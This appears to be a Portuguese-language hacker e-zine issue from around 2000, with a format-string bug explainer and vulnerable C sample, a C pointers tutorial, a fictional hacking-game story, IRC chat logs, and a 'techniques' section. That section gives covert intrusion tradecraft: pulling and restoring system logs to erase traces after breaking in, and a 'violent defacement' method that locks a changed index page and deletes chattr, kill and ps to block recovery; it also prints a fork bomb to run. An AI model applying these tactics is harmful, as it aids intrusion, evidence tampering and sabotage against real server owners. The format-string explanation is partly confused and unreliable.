TESO Security Group / http://teso.scene.at/
Autor Original
-- Writing Buffer Overflow Exploits with Perl - anno 2000 --
<teleh0r@doglover.com> - http://teleh0r.cjb.net/
==============================================================
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 11 - Format Strings ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
/*
F0rmat Strings
O problema eh na hora de passar o valor de uma variavel para outra
usando sprintf(destino,origem);
$ ./fs
char1: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Tentativa de buffer overflow!
Oh! aki temos um sistema avancado de IDS... =)
Para burla-lo basta termos um certo minimo de conhecimento em C...
$ ./fs
char1: %d
char2: 10190202
Viu... usamos um codigo de formato de decimal e o programa executou
algo como: sprintf(st2,"%d",st);
Ou seja passou o valor decimal do st para st2. Soh ae ja temos um
estouro de buffer, mas inda nao atingimos o Return Addres.
Para issu podemos usar um especificador de tamanho...
$ ./fs
char1: %50d
Segmentation Fault (core dumped)
O blza!
Agora explorar essa falha eh facil, segue o mesmo estilo de um b0f
normal e usa os codigo de formato para preencher o buffer.
Note... esse bug nao eh tudo o que dizem por ae... ele nao funciona
apenas casos raros como este. Nao eh comum programadores usaram sprintf
para passar valores completos de uma string para outra. Para isso eh usado
strcpy ou strncpy (mais seguro ainda).
Mesmo assim, ja foram encontrados uma pah de programas com essa falha.
O sprintf somente eh usado para criar um valor para string com
formatacao de outras variaveis. ex: sprintf(dest,"orig=%s",orig);
Note que se a funcao for alterada no programa, ele nao podera mais ser
burlado como antes.
As funcoes vulneraveis a esses bugs sao *printf, *printk e syslog.
<++> format/bug.c
/*
*/
#include <stdio.h>
main() {
char st[5];
char st2[5];
printf("char1: ");
scanf("%s",st);
if (strlen(st) > 5) {
printf("Tentativa de buffer overflow!\n");
exit(0);
}
//Esta funcao bugzada.
//Para Fixar o problema use:
// sprintf(st2,"%s",st);
//ou melhor ainda
// strcpy(st2,st);
sprintf(st2,st);
printf("char2: %s\n",st2);
}
<-->
<struck> opa... tava lendo uma materia aki
<struck> q um lamah q eu conheci me enviou...
<struck> olha soh
<struck> Bem essa È primeira vez que escrevo pra essa zine (ou pra qualquer zine) e
<struck> apesar de n„o ir muito com a cara do struck, resolvi escrever pra essa zine,
<struck> odeio admitir mas a zine dele eh muito boa
<struck> hauhauahua
<struck> ele entro no security c achando o fodao.. dae nos zoamos ele... eu ia publicar
o log na f3-05 mas fikei com pena dele
<struck> pq ele comecou a baba meus ovo
<struck> hehehhe
<struck> uahuahua
<psaux> HAHAHAHAHAHAHHAHAHAHAHAHAHAHA
<psaux> HAHAHAHAHAHAHHAHAHAHAHAHAHAHA
<struck> tipo...
<struck> o kra traduziu um texto muito frau e jogou pra mim...
<struck> nem traduziu todo ele.. hauhauah
<struck> olha soh como eu vou responder:
<struck> Primeiramente... obrigado pela colaboracao.
<struck> Agora responda ao questionario de editores da f3:
<struck> 1. Pq decidiu colaborar com a f3?
<struck> a) Porque eu sou amigo do struck
<struck> b) Porque eu quero ser famoso e consigo fama facil saindo na f3!
<struck> c) Porque eu nao gosto do struck e quero queimar o filme dele
<struck> com minhas materias.
<psaux> HAHAHAHAHHA
<psaux> nao traduziu todo?
<psaux> cara de pau
<struck> tem umas parte q fikaram em ingles
<struck> hauahuah
<psaux> hahahaha
<struck> o kra vai fikar puto
<struck> Brincadera.. tipo... eu nem te odeio e tal... tanto que nao vou
publicar akele log da 1a vez q tu entrou no #security pq tu nao quer...
Falando nisso: pq vc nao deixa eu publica-lo??? Se arrempende do que
falou??
<psaux> HAHAHAHAHAHHAHAHAHAHA
<struck> eu zuo muito o kra no email e no fim digo:
<struck> "Sem ressentimentos."
<struck> heheheh
<psaux> hahaha
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 12 - Ponteiros ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Topicos
#######
1. Introducao
2. Iniciando com ponteiros
3. Asterisco (*)
3.1. Na declaracao de um ponteiro.
3.2. Para localizar um dado apontado pelo ponteiro.
4. "E" comercial (&)
* Programa Teste
5. Ponteiros com matrizes
6. Direcionando ponteiros para ponteiros
7. Ponteiros para funcoes
* Programa Teste
8. Ponteiros para estruturas
9. Problemas comuns
9.1. Inicializando errado
9.2. Definindo localizacoes constantes
9.3. Ponteiros nao inicializados
10. Finalizacoes
1. Introducao
#############
Bom... Teve mta gente pedindo aulas de C.
1o: eu nao sou um guru em C pra dar aulas;
2o: Vcs ja viram o tamanho de um livro de C??? Querem que eu tecle
todas as mais de 700 paginas aki??? hahaha. 6 tao loko!
Alem do mais isso nao eh uma zine de coders e sim de sexuriters e
haxes entao nao tem pq explicar toda uma linguagem de programacao. Se vc
tiver mto afim de aprender faca um curso, leia um livro ou entre numa
faculdade. Por falar nisso a PUCRS nao ensina ponteiros porque C eh
materia do 1o semestre e usada para introduzir a programacao.
Como ponteiros eh algo que da muita dor de cabeca ateh mesmo em
codeadores mais experientes estou fazendo este tutorial que pretende
pegar tanto aos coders begginers quanto aos mais avancados.
Para ajudar o aprendizado coloquei diversos programas testes que
podem ser extraidos com o extract.c. Assim, sugiro que voce leia este
texto em um terminal e no outro olhe, compile, rode os programas testes
(supondo que vc esta de linux-console).
2. Iniciando com ponteiros
##########################
O que sao ponteiros??? Ponteiros sao variaveis que contem o endereco
na memoria de outras variaveis ou funcoes. Eles sao declarados e
inicialisados assim:
int var=666, *pont;
pont = &var;
Isto faz com que o ponteiro pont aponte para o endereco da variavel
var. tendeu?
Tipo... Se vc desse um printf("%d\n",pont); iria receber o endereco
da memoria onde esta a variavel var. Nota: O valor sera dado no formato
decimal (%d), para obte-lo em formato de ponteiro use o %p.
3. Asterisco (*)
################
Ja notou que usamos alguns simbolos como * e & quando brincamos com
ponteiros?? Estes simbolos tem enumeras funcoes na linguagem C (operador
de multiplicacao, de bit, etc) mas quando falamos de ponteiros soh
precisamos conhecer alguns casos em que eles sao usados.
3.1. Na declaracao de um ponteiro.
##################################
Um ponteiro sempre deve ser declarado com um * antes do nome. O
tipo de dado que o ponteiro ira armazenar tambem deve ser declarado.
Ficaria +/- assim:
int *pont_i; // Declara um ponteiro do tipo inteiro
char *pont_c; // Declara um ponteiro do tipo caractere
//etc...
3.2. Para localizar um dado apontado pelo ponteiro.
###################################################
O * serve para indicar que o que queremos eh o valor aramazenado
na memoria e nao o endereco dela. Exemplo:
var=666;
ponteiro = &var; // Aponta o ponteiro para var.
printf("%p\n",ponteiro); // Mostra o endereco de var.
printf("%d\n",*ponteiro); // Mostra o valor contido no local apontado.
4. "E" comercial (&)
####################
O & serve para atribuimos valores referentes ao endereco na memoria
onde a variavel esta armazenada. Exemplo:
pont = &var;
O ponteiro pont recebe o endereco de var. Facil...
Programa Teste
##############
<++> ponteiros/teste1.c
#include <stdio.h>
void main() {
int *ponteiro, var = 666;
ponteiro = &var;
printf("ponteiro (endereco) = %p\n", ponteiro);
printf("ponteiro (valor) = %d\n", *ponteiro);
printf("Variavel (endereco) = %p\n", &var);
printf("Variavel (valor) = %d\n", var);
}
<-->
5. Ponteiros com matrizes
#########################
Neste caso, ponteiros podem ser muito uteis, para "andar" por uma
matriz facilmente. Vejamos como inicializa-las:
char string[20], *pont;
pont = string;
No caso acima, o ponteiro pont aponta para o 1o elemento da matriz
string. Seria o mesmo que:
pont = &string[0];
Se quizermos iniciar o ponteiro no 4o elemento da matriz podemos fazer:
pont = string+3;
Seria o mesmo que:
pont = &string[3];
Apos isso, para "andarmos" na matriz facilmente podemos usar o
ponteiro da seguinte forma:
*pont // string[0]
*(pont+1) // string[1]
*(pont+2) // string[2]
//etc...
Note que usamos o * antes para indicar que o que queremos eh o valor
marcado neste ponteiro e nao o endereco dele.
Um exemplo pratico de como usar ponteiros com matrizes pode ser util
seria fazendo um buffer com NOPS+shellcode+ADDRESS. Nao vou repetir
codigos de exploits aki, abra um qquer e veja como o buffer eh criado.
6. Direcionando ponteiros para ponteiros
########################################
Voce pode acessar uma variavel direcionando um ponteiro quantas vezes
quizer. Assim ele tomara diversos caminhos para chegar ao dado.
Graficamente seria +/- assim:
Ponteiro --> Ponteiro --> Ponteiro --> Ponteiro --> Dado
A diferenca eh que um ponteiro que aponta para outro ponteiro deve
ser declarado com um * a mais e assim progressivamente.
Exemplificando:
int var = 666, *pont1, **pont2;
pont1 = &var;
pont2 = &pont1;
printf("%d", **pont2);
7. Ponteiros para funcoes
#########################
Alem de declarar ponteiros para variaveis eh possivel criar ponteiros
para funcoes do programa. Lembre que C eh um linguagem muito flexivel.
Vamos exemplificar para deixar mais claro. A funcao puts() eh
definida por:
int puts(const char *s);
Entao no nosso exemplo. Se quizermos criar um ponteiro para ela seria:
int (*pont)(const char *s);
Note que declaramos o ponteiro de modo diferente do comum. Neste caso
eh necessario usar os parenteses antes do *. Tambem devemos declarar o
argumento que a funcao recebe.
Para executa-la agora:
pont = puts;
(*pont)("Hellow world!!");
Meio estranho neh?? Mas isto pode ser muito util, por exemplo caso
vc queira passar diversas funcoes (com mesmo prototipo) para um
procedimento ou uma estrutura.
O programa teste a seguir faz exatamente como mostrado neste exemplo.
Altere o programa para que receba funcoes com outros prototipos, etc,
para compreender melhor.
Programa Teste
##############
<++> ponteiros/teste2.c
#include <stdio.h>
void main() {
int (*pont) (const char *);
pont = puts;
(*pont)("Hellow World!");
}
<-->
8. Ponteiros para estruturas
############################
A declaracao nao tem nada de mais.
Apenas use o * antes do nome:
struct dados { int idade;
char nome[80];
//...
};
struct dados *cad;
Ou se vc gosta de typedef...
typedef struct { int idade;
char nome[80];
//...
} dados;
dados *cad;
Ambos fazem a mesma coisa, criam um ponteiro para uma estrutura.
Ae entra outro simbolo da linguagem C. O -> (seta). Ele serve para
apotar um elemento da estrutura. Imagine uma estrutura declarada
normalmente. Voce acessaria ela da seguinte forma:
dados cad1;
cad1.idade = 41;
strcpy(cad1.nome, "Seu Antonio");
Com um ponteiro vc faz:
dados *cad2;
cad2->idade = 19;
strcpy(cad2->nome, "Aline");
O -> faz o mesmo que:
(*cad2).idade = 19;
Os parenteses sao sempre obrigatorios pois o . (ponto) tem prioridade
sobre o * (asterisco). Entao para facilitar a vida do programador foi
criado o -> que substitui toda a bagaca.
9. Problemas comuns
###################
Quando o problema de um programa esta no ponteiro, este eh muito
dificil de ser encontrado, pois o compilador nao reconhece problemas
em ponteiros.
Com o ponteiro voce pode escrever em uma zona da memoria que
corresponde a outras funcoes. O compilador pode retornar erro nestas
funcoes ou nao retornar nada, porem o programa nao sera executado como
deveria.
Alguns dos problemas mais comuns serao reportados aki.
9.1. Inicializando errado
#########################
Muito comum de encontrar ponteiros inicializados com valores de
variaveis ao invez do endereco delas. Algo como no exemplo a seguir:
int i=10, *p;
p=i;
Issu faria o ponteiro apontar para o endereco 10 da memoria e
sobreescreveria ela. A forma certa de inicializa-lo eh sempre usar
o & antes da variavel:
int i=10, *p;
p=&i;
9.2. Definindo localizacoes constantes
######################################
Eh incorreto pensar que seus dados serao sempre armazenados no
mesmo endereco, por isso definir enderecos fixos para um ponteiro eh
um conceito errado.
Exemplo:
int i=10, *p;
p=&i;
printf("%p",p);
O modelo acima, imprime o endereco do ponteirona tela. Digamos
que fosse 8022. Entao fazemos:
int i=10, *p;
p=8022;
Embora isso possa funcionar algumas vezes, o modelo esta errado
pois a localizacao das variaveis na memoria varia mto, eh algo que
nao pode ser suposto.
Supor que uma variavel eh armazenada depois da outra por sua
declaracao tambem eh um conceito errado.
Por isso que qdo rodamos xploits de b0f nos usamos offsets. O
exploit soh funciona se encontrar o endereco certo da memoria onde
a variavel esta'. Se as variaveis fossem sempre armazenadas no mesmo
local nao precisariamos usar offsets.
9.3. Ponteiros nao inicializados
################################
Usar um ponteiro que nao esta apontando para lugar nenhum eh
conhecido como um ponteiro selvagem.
Veja no exemplo:
char *p;
strcpy(p,"Teste");
Isso certamente causara problemas no programa pois o ponteiro esta'
apontando para uma zona qquer da memoria e escrevera em cima do que
tiver lah.
Porem eh possivel armazenar dados nele durante sua declaracao:
char *p="Teste";
10. Finalizacoes
################
Issu eh tudo por hj!
Soh fazendo uma correcao do que eu disse na introducao, a PUCRS nao
dava a materia de ponteiros ateh semestre passado. Foi surpresa minha
ao ver o professor explicando esta materia na aula.
Alias nem sei pq ele deu esta materia ja que nao vai cobrar em provas
nem nada. Sera que depois deu tirar dois 10 seguidos ele se interessou
nos arquivos q eu escrevia la na facul?? =)
Esta materia e a de alocacao dinamica foram editadas na facul.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 13 - Smashing the imagination ~YXXXXx_
_xXXXXXX( for fun and profit )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ pcHazard _dXXXXP~
~YXXXbx.. ..xdXXXP~
Nao, nao irei falar sobre buffer overflows :-)
Hj eu resolvi trazer um joguinho pra todo mundo q tah de ferias em
Julho e assim como eu nao vai viajar... hmm, talvez eu me mude pra
Brasilia nessas ferias e talz, mais isso nao vem ao caso :-)
Essa materia vai falar sobre o DanOS RELEASE 1.0.0... Um novo
SO ? Nao exatamente...
Ele eh um simulador de hacking como o Henix do struck, mas escrito
em perl e assim vc pode rodar ele em varias plataformas diferentes
sem precisar mudar muita coisa no codigo. Ele possui a listagem de
arquivos colorida e pode rodar como daemon no inetd tambem caso
vc queira deixa-lo como um desafio para as pessoas da sua rede local
ou ateh na internet mesmo...
Seu objetivo eh entrar num servidor militar, burlar o IDS dele,
ownar o servidor e rodar um software de controle de uma rede
interligada de defesa militar, que pode ateh lancar misseis e tal...
Ai voce deixa seu nome no hall da fama e chega aonde ninguem
jamais chegou ateh hoje :-)
Para voce entrar no clima do DanOS, vou lhes contar uma historia ficticia,
e qualquer conhecidencia com uma historia real eh mera coincidencia :-)
--[ Era uma vez... ]-------------------------------------------------
Eh uma noite fria e silenciosa de setembro, nao me lembro o ano.
Joaozinho era um garoto especial. De vista, ele era apenas mais um
garoto de 11 anos como os que se encontra em qualquer lugar. Mas
Joaozinho nao jogava bola, odiava futebol. Gostava de basquete, mas
nunca jogou porque ele era pequeno e tinha dedos pequenos :-) E ele
era branco, e "brancos nao sabem enterrar"...
Havia um brilho nos olhos de Joaozinho que faziam qualquer pessoa que
ficasse com ele por 5 minutos notar que aquele era um garoto especial.
Nao, ele nao tinha olhos azuis e nem era rico, mas tinha um modo
diferente de olhar para as coisas, como se soubesse que ha' mais em algo
do que apenas o que aparentemente eh e tentasse sempre descobrir o que
eh...
Seus pais, Joaozao e Maria, eram pobres e com muito custo criaram
Joaozinho. Maria era dona de casa e lavava roupas para aumentar a renda
da familia. Joaozao era metalurgico no ABC paulista e com muito custo
conseguiu comprar o melhor presente que Joaozinho poderia ganhar, um
computador. Bem, nao era assim um COMPUTADOR, era um 386 com 8mb de
RAM e dos 6.22, mas Joaozinho ficou muito feliz com o presente de
seu pai. Foi ai que tudo comecou...
--[ O Comeco do Vicio ]----------------------------------------------
Joaozinho estava muito viciado no seu 386. No dia em que ganhou ele,
nao sabia nem ligar o DOS. Um dia depois, usava o DOS. Dois
dias depois dominava o DOS. Tres dias depois jah repudiava o
DOS. "Deve haver algo melhor do que esse lixo, algo que possa
fazer com que eu nao me torne um escravo do computador, me limitando
`as limitacoes do DOS. Deve haver algo que faca com que minha
mente seja exercitada, desafiada e que realmente valha a pena...".
Mas era inutil. Todos os amiguinhos de Joaozinho usavam seus PCs
pentium 100MHZ de 16mb de RAM para jogar e estavam satisfeitos com
isso. Joaozinho passava 10 horas por dia no computador, soh fucando.
Ele dava tchauzinho pra mamae dizendo que ia pra escola, dava a volta na
casa, pulava o muro e entrava pela janela do seu quarto, que ele deixava
propositalmente destrancada, aonde passaria as proximas 4 horas em frente
ao seu 386...
Um belo dia, no prompt do MS-DOS ele ia dar um "exit" pra sair e
deu um "edit". "O que eh isso", perguntou Joaozinho. Ele abriu um
executavel e ficou impressionado com o que viu. "O computador transforma
esses codigos estranhos no programa", raciocinou ele. Ele entrou
numa BBS, e conversando com uns caras de lah ele ficou sabendo que
aquilo era um tal de assembler, que era muito dificil e que nao devia
ser usado por pessoas ignorantes como ele. "Aonde eu arrumo meu assembler?"
perguntou ele para os seus novos amiguinhos da BBS. "Pegue o compilador e
linkador da Borland na BBS ou arrume um linux." -- responderam eles...
--[ O Primeiro Contato ]--------------------------------------------
Linux? O que eh linux?
Essas perguntas nao saiam da sua cabeca. Apesar de nao saber o que era,
sabia que ia mudar a sua vida...
No recreio do colegio, pensou em ir perguntar aos nerds do 1o. ano do
segundo grau sobre esse tal de linux. Ele ficou meio receioso porque eles
eram muito fechados e soh conversavam com eles mesmos. O chefe do grupo
era Luizinho, um menino alto e magro, cheio de espinhas e aparelho nos
dentes.
-- Oi Luizinho, como vai?
-- Nao garoto, eu nao vou reinstalar o DOS no seu computador e nem adianta
vir pedir nem pagar, eu tenho mais o que fazer...
-- Nao, nao eh isso, eu queri...
-- Nao, nao vou instalar nenhum joguinho pra voce tambem nao !
-- Nao eh isso, eu queria saber se vc sabe o que eh linux
De repente, todos pararam, como se Joaozinho tivesse dito algo proibido...
-- Disse linux ?
-- Eh !
-- Encontre a gente lah em casa, hoje, `a meia noite, combinado ?
-- Tudo bem entao.
Mas nao estava tudo bem. Joaozinho nao tinha as respostas as suas
perguntas, e ele sua mae nao deixaria ele sair `a meia noite. Mas
ele estava convicto e iria fugir as escondidas...
Chegando na casa dele, todos os nerds estavam em frente a um computador
com um penguim engracado na tela. Luizinho disse entao:
-- Esse eh o linux, o melhor sistema operacional que existe. Tome esse
CD, instale ele na sua maquina, leve mais esses livros, de C, de
assembler, de Unix, de Linux e tem esse vermelhinho ai sobre
TCP, o verde eh sobre Arquiteturas de Redes, o amarelo eh sobre
configuracao de servidores, servidores DNS etc. O pretao grande ai
eh a biblia do unix, o preto menorzinho eh o C Programmer's Guide
do Dennis Ritchie. Voce sabe ingles neh ? Ah, leva esse aqui sobre
seguranca em sistemas unix, e esse disquete aki com alguns RFCs e
esse outro disquete tem os rainbow books do DoD, departamento de defesa.
A proposito, nao diga a ninguem que voce tem esses rainbow books, ok ??
-- Tubo bem!
-- Agora saia daqui, estude tudo o que eu te dei e soh volte a falar com
a gente depois que achar que deve !
E Joaozinho saiu da casa de Luizinho com uma caixa de formularios continuos
cheia de livros, CDs e disquetes.
--[ O Dia "D" ]-----------------------------------------------------
Quatro meses se passaram, e Luizinho achou que Joaozinho tinha morrido
e ja pensava em ir `a casa de Joaozinho pedir suas coisas de volta para
a mae dele...
Joaozinho tinha agora 13 anos.
No colegio, Joaozinho resolveu procurar os nerds, que agora Joaozinho
nao chamava mais de nerds.
-- Oi de novo, Luizinho
-- E ai cara, gostou do material ?
-- Gostei muito, eh tudo muito bom.
-- E quando pretende me devolver ?
-- Hoje, na sua casa, `a meia noite, da mesma forma que eu peguei eles.
-- Ok. Ateh lah.
Passaram-se 13 horas e meia ateh chegar meia noite. Joaozinho devolveu
tudo como prometido. De novo, em frente `a tela daquela maquina com
linux, jah dominado por Joaozinho (ele havia lido o codigo fonte do kernel,
tinha feito ateh algumas mudancas, otimizacoes e correcoes e enviado para
o tal do Benedict Torvalds), ele percebeu que os nerds estavam num
terminal remoto que haviam chamado com o minicom, e usando ele como bridge
entraram em outro sistema, via telnet, em um sistema que rodava um clone
do unix, chamado DanOS, o qual eu nunca havia visto nem ouvido falar.
Entao, Luizinho disse:
-- Bem Joaozinho, eu e os outros nerds nao somos brasileiros. Eh uma
historia longa. Eu sou frances. Quando morava na Franca, eu fui acusado
de invadir muitos sistemas militares e, por ter posto em risco a
seguranca nacional foi extraditado, e minha cidadania francesa foi
cacada. Entao, sem rumo nem esperanca, fui contatado por um homem
de feicoes arabes que se apresentou como Muhamed Osama Bim Labem
Abdullah Jihhad Azim de Deus Junior, que me ofereceu ajuda. Me mandou
para o Brasil, com casa, comida, roupa lavada, escola e contas de
agua, luz e telefone pagas. Ele era filho de um Iraquiano chamado
Osama Bim Labem Abdullah Jihhad Azim e uma brasileira chamada
Deusicreide Aparecida de Deus, e trabalhava para Sadam Hussein,
e eu era parte de um exercito de elite que Sadam estava formando,
composto pelos maiores hackers do mundo, pessoas que podem controlar
o mundo com apenas um teclado e um modem, ou como dizia Sadam,
"O mundo eh controlado por computadores, e nos controlaremos os compu
tadores !!! HAHAHAHAHA !!!", hackers que as nacoes desprezavam como
cidadaos, mas que Sadam os acolhia como filhos e como sendo as
maiores armas de guerra que ele poderia ter. A gente faz parte de um
grupo extremista terrorista iraquiano, conhecido como "Os Juizes".
-- Uau !!!
-- Vimos que voce possui o potencial (argh!) para ser um grande hacker,
e trabalhar com a gente, e por isso decidimos te dar uma chance de
entrar para nosso grupo e ter todos os seus problemas com dinheiro
resolvidos ! Tudo o que precisa fazer eh provar o seu potencial por
invadir esse sistema que voce estah vendo ai e detonar o nosso colegio,
mandando todos para a mais profunda e quente caldeira do inferno !!!
Agora eh com voce, caro leitor da F3 zine, ajude Joaozinho a provar
que nao eh apenas mais um desses lixos que se encontram nos canais
#*hack* das redes de IRC incapaz de ownar sua propria maquina !
Aproveitando o embalo da nova HP da f3 zine decidimos deixar
o DanOS rodando em um servidor durante um mes e ver quem
conseguiria atingir o objetivo final, visto que apenas pegar
root nao eh o bastante... Pra quem gostou dele e ficou curioso,
no proximo issue da F3 zine lancaremos o codigo fonte dele =)
Conecte-se usando um cliente telnet que suporte ANSI como o do
linux (nao recomendo usar o telnet do windows...)
no host fatal3rror.com porta 666 e que a forca esteja com
voce !!!
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 14 - t3kn33ks ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Esta fundada a nova secao da fatal 3rror. Aki vou descrever
algumas techinicas usadas tanto por Hackers qto por Securiters
mas sem ter que me aprofundar de mais nos assuntos. Vao ser
coisas mto usadas na pratica porem que nao tiveram divulgacao
de suas bases. Algumas foram descobertas ao analizar .historys
de admins e hackos.
Se voce tb usa algumas rotinas pouco comuns mas eficases, nao
se acanhe em enviar um email pra mim q tera divulgacao nessa
secao. Ah!! o txto sera avaliado como qquer materia da f3.
Agora vamos as atracoes do dia:
1. Tiger Team em logs (Hack)
2. Defacement violento (Hack)
3. Seguranca em seus logs (Security)
4. Estabelecendo Limites (Security)
1. Tiger Team em logs
#####################
Se vc estiver sozinho na maquina (acontece muito) ah uma alternativa
boa para saber se o que vc fez foi logado por um IDS. Olhe os arquivos
de log do sistema assim q entrar nele. Apos 0wna-lo olhe novamente e
veja se o tamanho deles aumentou. Caso sim, olhe as ultimas linhas dos
arquivos com tamanho alterados. Nelas devem estar seus dados.
Para apagar os dados existe uma alternativa muito simples. Antes de
fazer qquer coisa (ateh mesmo de logar por telnet) entre por FTP e
puche todo o diretorio de logs para a sua maquina. Depois de 0wna-la
e verificar os arquivos que mudou, delete-os e copie o backup dos
antigos no seu lugar.
Com issu provavelmente a ultima coisa logada foi seu acesso por FTP,
issu se tiver sido logado. Nem mesmo seu acesso telnet a maquina foi
gravado.
Essa tecnica eh usada com frequencia antes de um ataque direto a
maquina para testar os sistemas de logs. Este eh um dos passos de um
Tiger Team (batisado por phiber optik) que consiste em simular um
ataque para testar falhas em um sistema.
O basico aki eh entrar, anotar o tamanho ou criar uma chave md5.
Depois disconecte, entre novamente e compare os dados anotados com os
atuais.. com issu voce sabe o que foi logado e onde foi...
Eh... alguns sistemas deixam arquivos padrao de log para enganar os
invasores, enquanto os verdadeiros logs sao salvos em um local diferente.
Comum encontrar uma maquina montada remotamente apenas para logs.
2. Defacement violento
######################
Algo muito bom de se fazer caso voce queira mesmo eh fuder com a
makina eh modificar arquivos e impedir que estes sejam restaurados
pelo admin simplesmente deletando os programas que fazem isso.
Imagine a situacao, vc muda o index.html de um host. Entao seta
atributos (chattr) para que o arquivo nao possa ser alterado. E depois
simplesmente deleta o chattr do sistema. Resultado: o root tem que ir
atraz dos pacotes de instalacao do chattr denovo.
A saida mais plausivel neste caso seria enquanto o index e o chattr
nao forem restaurados, o httpd seja killado. Assim ninguem acessa o
servico de WWW mas pelo menos seu site nao seria visto defacementado.
Dependendo da grandesa do servidor, ter seus servicos cancelados por
meia hora faria com que ele perdesse menos clientes do que ter sua
page ownada a mostra.
Entao como antecipamos o proximo passo do root podemos tambem
deletar o kill e o ps. =)
Entendeu o espirito da coisa??
No fim das contas, dependendo do seu estrago, a unica saida do root
sera upgradear todo o sistema novamente e aposto contigo como leva
tempo ateh que uma decisao dessas seja tomada.
Essa tecnica pode ser considerada um pouco radical de mais, mas eh
muito eficaz. Ja fiquei sabendo de casos em q um site foi 0wnado e
fikou assim por 3 dias seguidos.
3. Seguranca em seus logs
#########################
Para um sekuriter manter seus logs em seguranca eh um trabalho arduo
pois uma vez q uma ferramenta salva dados sobre um usuario em um arquivo,
este pode ser encontrado e alterado pelo root. Mesmo estando em outra
maquina ou outra particao, sempre eh possivel encontrar e alterar
arquivos de log ao r00tar uma maquina.
A saida mais plausivel para isso seria salvar os logs em um meio
fisico que o invasor nao tenha acesso. Ja ouvir falar em lugares q
imprimem seus logs para q estes nao sejam violados. Outra boa opcao
seria salva-los de tempos em tempos em um disquete e manter o disquete
sempre fora do alcance de invasores virtuais (fora da maquina).
Um sistema que ja vi funcionando e creio eu ser muito util tambem eh
utilizar CD-Rs para salvar logs. Porem, os logs seriam sempre atualizados
em arquivos diferentes, ja q nao podemos regravar o mesmo. Assim torna-se
facil ter acesso aos logs porem eh impossivel altera-los, sendo assim
um invasor nao poderia apagar sua presenca. Como a capacidade de um CD-R
comum eh suficientemente boa (650M) para log, o unico problema deste
metodo seria o custo de um gravador de CDs.
Para que um hacker consiga burlar os logs precisaria ter acesso fisico
a maquina, coisa q nao costuma muito acontecer. Pelo menos nao atualmente,
pq no inicio do "hackerismo" ser hacker consistia em invadir tanto
virtualmente qto fisicamente.
4. Estabelecendo Limites
########################
Eh muito recomendado que os admins q limitem o espaco em disco e a
memoria para seus usuarios. Ambos podem ser facilmente feitos.
O kernel do linux possui suporte a estabelecer quotas de espaco em
disco para seus usuarios. Voce pode definir a quota pelo grupo dos
usuarios ou individualmente.
A primeira coisa a fazer eh adicionar no /etc/fstab a opcao usrquota
para a particao a ser quotada:
/dev/hda1 / ext2 defaults,usrquota 1 1
Nota: Quotas soh podem ser estabelecidas em particoes ext2.
Tambem eh preciso criar o arquivo /quota.user na raiz da particao
quotada. Este arquivo deve ser 600.
# touch /quota.user ;chmod 600 /quota.user
Reinicie a maquina para as alteracoes no fstab tenham efeito.
Agora use os comandos quota, quotaon, quotaoff, repquot, edquota e
quotacheck. De uma olhada nas man pages deles para aprender legal como
usa-los. Enquanto isso aki vai um exemplo de como definir limites de
3 - 5MB de espaco e entre 500 e 1000 arquivos para o user struck.
# edquota -u struck
Quotas for user struck:
/dev/hda3: blocks in use: 58, limits (soft = 3000, hard = 5000)
inodes in use: 41, limits (soft = 500 , hard = 1000)
Mude apenas os limites.
Apos isso tambem deve-se definir o periodo de concessao em que o
usuario sera avisado ao ultrapassar a cota inferior.
# edquota -t
Time units may be: days, hours, minutes, or seconds
Grace period before enforcing soft limits for users:
/dev/hda3: block grace period: 1 days, file grace period: 1 days
Pronto! Agora use o comando quota para ver as mudancas:
# quota struck
Disk quotas for user struck (uid 1337):
Filesystem blocks quota limit grace files quota limit grace
/dev/hda3 58 3000 5000 41 500 1000
Alem de definir limites de espaco em disco, podemos usar o comando
ulimit para limitar a stack, o numero de arquivos a serem abertos, o
numero de processos a rodarem, o tamanho dos arquivo core gerados, etc.
Exemplo:
# ulimit -s0
# ls
Segmentation Fault
rlz uh??
O que fizemos acima foi limitar a stack a 0. Assim nem mesmo um ls
podera ser executado. Mas "pra que limitar o stack" pergunta o orangutango
la no canto. Bem... voces lembram das fork bombs que faziam um estrago
fudido a uns tempos atras??
main(){ for(;;) fork(); }
Compile e rode-o como usuario normal para ver o estrago.
Agora limitando a memoria da pilha (stack) para seus usuarios, essa
bomba passa a ser inofensiva. Detalhe: nao deixe muito pouca memoria
pq se nao voce limita muito o usuario.
<struck> aha
<struck> achei o kra...
<struck> chernobyl hover
<struck> escreve a bhoor zine.. nao li ela ainda...
<struck> vo da uma lida ver o nivel
<struck> a zine comecao com umas 5 materias falando soh de etica, objetivos,
historia da zine, etc...
<Carti> puts
<Carti> moh tongao
<Carti> aheuuehauheahuae
<Carti> 1 - Etica
<Carti> 2- eStilo
<Carti> 3- Mails
<Carti> 4- Humor
<Carti> acabo
<Carti> ehauuaeuuhaeea
<struck> heheh
<struck> putz!
